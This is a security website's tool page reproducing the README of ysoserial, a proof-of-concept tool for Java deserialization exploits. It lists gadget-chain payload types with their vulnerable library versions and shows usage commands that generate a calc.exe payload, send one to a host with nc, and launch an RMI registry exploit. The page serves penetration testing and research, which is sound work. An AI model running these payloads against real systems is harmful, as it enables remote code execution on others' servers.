SecurityCipher
Home Blog About Us

Learn Paths, courses, and reference docs

  • ๐Ÿš€ Start Here Beginner path through the site
  • ๐Ÿ—บ๏ธ Penetration Testing Roadmap Structured path to become a pentester
  • ๐ŸŽ“ Free Security Courses Current free Udemy coupon listings
  • ๐Ÿ“„ Secure Code Explain Vulnerable vs secure code side by side
  • ๐ŸŽฏ Penetration Testing Tricks Field notes for real engagements
  • ๐Ÿ“– Vulnerability Explain How common vulns actually work

Checklists Interactive reviews and LLM risks

  • โœ… Security Checklists Hub All interactive security checklists
  • ๐Ÿ“‹ Writeup Checklists Steps derived from real writeups
  • ๐Ÿง  LLM AI Security Checklist Controls for LLM apps
  • ๐Ÿค– OWASP LLM Top 10 LLM Top 10 risks mapped out
  • ๐Ÿงฐ Burp Suite Guide Step-by-step Burp tutorials
  • ๐Ÿ“˜ Payload Field Manual Safe-first probes and signals

Practice Browser labs, games, and explorers

  • ๐Ÿ”ฌ Interactive Labs SQL injection, AI, architecture review
  • ๐ŸŽฎ Security Games Phishing, JWT, WAF, and more
  • ๐Ÿš— On-Call Drive Neon-city arcade security missions
  • โ€ข Shift Zero SOC desk: phish, OTP, malware, tickets
  • โ“ Application Security Quiz Web, secure coding, and cloud quizzes
  • ๐Ÿ—บ๏ธ OWASP Top 10 Explorer Clickable risk map with signals
  • ๐Ÿ”€ Interactive Attack Paths Recon-to-impact chains

Tools & Career Databases, jobs, and community

  • ๐Ÿ› ๏ธ Security Tools Curated recon, SAST, and bounty tools
  • ๐Ÿ”Ž CVE Lookup Multi-source CVE intelligence
  • ๐Ÿ’ฐ Bug Bounty Programs Live public scopes to search
  • ๐Ÿ’ผ Cybersecurity Jobs Roles from company career pages
  • ๐Ÿง‘โ€๐Ÿ’ป Security Researchers Community profiles and submissions
  • ๐ŸŽค Security Conferences Upcoming and past events
Browse all Security resources hub Freelance Security โ†’
My Resume
Freelance SecurityFreelance
New Security Researchers Join the directory - submit your profile for review Submit profile โ†’
← Security Tools View on GitHub

ysoserial

A proof-of-concept tool for generating payloads that exploit unsafe Java object deserialization.

ysoserial

GitHub release Travis Build Status Appveyor Build status JitPack

A proof-of-concept tool for generating payloads that exploit unsafe Java object deserialization.

logo

Description

Originally released as part of AppSecCali 2015 Talk "Marshalling Pickles: how deserializing objects will ruin your day" with gadget chains for Apache Commons Collections (3.x and 4.x), Spring Beans/Core (4.x), and Groovy (2.3.x). Later updated to include additional gadget chains for JRE <= 1.7u21 and several other libraries.

ysoserial is a collection of utilities and property-oriented programming "gadget chains" discovered in common java libraries that can, under the right conditions, exploit Java applications performing unsafe deserialization of objects. The main driver program takes a user-specified command and wraps it in the user-specified gadget chain, then serializes these objects to stdout. When an application with the required gadgets on the classpath unsafely deserializes this data, the chain will automatically be invoked and cause the command to be executed on the application host.

It should be noted that the vulnerability lies in the application performing unsafe deserialization and NOT in having gadgets on the classpath.

Disclaimer

This software has been created purely for the purposes of academic research and for the development of effective defensive techniques, and is not intended to be used to attack systems except where explicitly authorized. Project maintainers are not responsible or liable for misuse of the software. Use responsibly.

Usage

$  java -jar ysoserial.jar
Y SO SERIAL?
Usage: java -jar ysoserial.jar [payload] '[command]'
  Available payload types:
     Payload             Authors                     Dependencies
     -------             -------                     ------------
     AspectJWeaver       @Jang                       aspectjweaver:1.9.2, commons-collections:3.2.2
     BeanShell1          @pwntester, @cschneider4711 bsh:2.0b5
     C3P0                @mbechler                   c3p0:0.9.5.2, mchange-commons-java:0.2.11
     Click1              @artsploit                  click-nodeps:2.3.0, javax.servlet-api:3.1.0
     Clojure             @JackOfMostTrades           clojure:1.8.0
     CommonsBeanutils1   @frohoff                    commons-beanutils:1.9.2, commons-collections:3.1, commons-logging:1.2
     CommonsCollections1 @frohoff                    commons-collections:3.1
     CommonsCollections2 @frohoff                    commons-collections4:4.0
     CommonsCollections3 @frohoff                    commons-collections:3.1
     CommonsCollections4 @frohoff                    commons-collections4:4.0
     CommonsCollections5 @matthias_kaiser, @jasinner commons-collections:3.1
     CommonsCollections6 @matthias_kaiser            commons-collections:3.1
     CommonsCollections7 @scristalli, @hanyrax, @EdoardoVignati commons-collections:3.1
     FileUpload1         @mbechler                   commons-fileupload:1.3.1, commons-io:2.4
     Groovy1             @frohoff                    groovy:2.3.9
     Hibernate1          @mbechler
     Hibernate2          @mbechler
     JBossInterceptors1  @matthias_kaiser            javassist:3.12.1.GA, jboss-interceptor-core:2.0.0.Final, cdi-api:1.0-SP1, javax.interceptor-api:3.1, jboss-interceptor-spi:2.0.0.Final, slf4j-api:1.7.21
     JRMPClient          @mbechler
     JRMPListener        @mbechler
     JSON1               @mbechler                   json-lib:jar:jdk15:2.4, spring-aop:4.1.4.RELEASE, aopalliance:1.0, commons-logging:1.2, commons-lang:2.6, ezmorph:1.0.6, commons-beanutils:1.9.2, spring-core:4.1.4.RELEASE, commons-collections:3.1
     JavassistWeld1      @matthias_kaiser            javassist:3.12.1.GA, weld-core:1.1.33.Final, cdi-api:1.0-SP1, javax.interceptor-api:3.1, jboss-interceptor-spi:2.0.0.Final, slf4j-api:1.7.21
     Jdk7u21             @frohoff
     Jython1             @pwntester, @cschneider4711 jython-standalone:2.5.2
     MozillaRhino1       @matthias_kaiser            js:1.7R2
     MozillaRhino2       @_tint0                     js:1.7R2
     Myfaces1            @mbechler
     Myfaces2            @mbechler
     ROME                @mbechler                   rome:1.0
     Spring1             @frohoff                    spring-core:4.1.4.RELEASE, spring-beans:4.1.4.RELEASE
     Spring2             @mbechler                   spring-core:4.1.4.RELEASE, spring-aop:4.1.4.RELEASE, aopalliance:1.0, commons-logging:1.2
     URLDNS              @gebl
     Vaadin1             @kai_ullrich                vaadin-server:7.7.14, vaadin-shared:7.7.14
     Wicket1             @jacob-baines               wicket-util:6.23.0, slf4j-api:1.6.4

Examples

$ java -jar ysoserial.jar CommonsCollections1 calc.exe | xxd
0000000: aced 0005 7372 0032 7375 6e2e 7265 666c  ....sr.2sun.refl
0000010: 6563 742e 616e 6e6f 7461 7469 6f6e 2e41  ect.annotation.A
0000020: 6e6e 6f74 6174 696f 6e49 6e76 6f63 6174  nnotationInvocat
...
0000550: 7672 0012 6a61 7661 2e6c 616e 672e 4f76  vr..java.lang.Ov
0000560: 6572 7269 6465 0000 0000 0000 0000 0000  erride..........
0000570: 0078 7071 007e 003a                      .xpq.~.:

$ java -jar ysoserial.jar Groovy1 calc.exe > groovypayload.bin
$ nc 10.10.10.10 1099 < groovypayload.bin

$ java -cp ysoserial.jar ysoserial.exploit.RMIRegistryExploit myhost 1099 CommonsCollections1 calc.exe

Installation

GitHub release

Download the latest release jar from GitHub releases.

Building

Requires Java 1.7+ and Maven 3.x+

mvn clean package -DskipTests

Code Status

Build Status Build status

Contributing

  1. Fork it
  2. Create your feature branch (git checkout -b my-new-feature)
  3. Commit your changes (git commit -am 'Add some feature')
  4. Push to the branch (git push origin my-new-feature)
  5. Create new Pull Request

See Also

  • Java-Deserialization-Cheat-Sheet: info on vulnerabilities, tools, blogs/write-ups, etc.
  • marshalsec: similar project for various Java deserialization formats/libraries
  • ysoserial.net: similar project for .NET deserialization
Press Escape to close the search panel.

Donate

Buy me a Coffee

Penetration Testing Services

penetration Testing Services

Web Application Security Quiz

Web Application Security Quiz

Daily Bug Bounty Writeups - Twitter

Daily Bug Bounty Writeups

Download our Latest Android Application

Guide for Penetration Testing

Daily Bug Bounty Writeups - Telegram

Daily Bug Bounty Writeups

Author

Piyush
Senior Product Security Engineer

Ethical Hacker || Penetration Tester || Gamer || Blogger || Product Security Engineer || AI Security

READ ARTICLE

Donate

Buy me a Coffee

Recent Posts

  • AI-Generated Code Security Bugs: A Vibe Coding Case Study
    AI-Generated Code Security Bugs: A Vibe Coding Case Study
    October 7, 2026/
    0 Comments
  • Cloud Misconfig Bounty Hunting in 2026: Open Buckets, Firebase, and Secrets
    Cloud Misconfig Bounty Hunting in 2026: Open Buckets, Firebase, and Secrets
    September 8, 2026/
    0 Comments
  • DevSecOps From Laptop to Production: A Practical Security Pipeline Guide
    DevSecOps From Laptop to Production: A Practical Security Pipeline Guide
    August 27, 2026/
    0 Comments

Follow Us

SecurityCipher

Practical security guides, vulnerability deep-dives, and hands-on resources for bug bounty hunters and penetration testers.

Useful Links

  • Security Checklists
  • Cybersecurity Jobs
  • Blogs
  • About
  • Contact
ยฉ 2026 Security Cipher. All rights reserved. Privacy Policy ยท Terms & Conditions